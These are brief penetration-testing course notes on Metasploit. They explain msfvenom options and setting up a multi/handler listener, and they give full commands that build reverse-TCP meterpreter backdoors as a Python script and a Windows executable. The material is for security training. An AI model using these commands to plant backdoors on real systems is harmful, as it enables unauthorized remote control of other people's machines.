< All Advanced Penetration Testing Notes

Keegan Kuhn | Advanced Penetration Testing | Module 3 - Metasploit

By: Keegan Kuhn | Related Course: Advanced Penetration Testing | Published: January 14, 2017 | Modified: January 14, 2017
Join Cybrary


msfvenom creates payloads and can encode them.


-p ::: payload, and then its location

-o ::: options


Set LPORT-4444

–help-formats shows formats

-f for format, and then format

> and then filename, such as meterpreter.exe


Once msfvenom payload is created, open msfconsole and type:

use multi/handler

set payload [payload]

set LHOST [ip]

set LPORT [port]


help for list of commands

msfvenom -p python/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] > pyt.pt

for Mac backdoor or

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] > rtcp.exe

< All Advanced Penetration Testing Notes
Join Cybrary

Our Revolution

We believe Cyber Security training should accessible for everyone, everywhere. Everyone deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is the world's largest community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

We recommend always using caution when following any link

Are you sure you want to continue?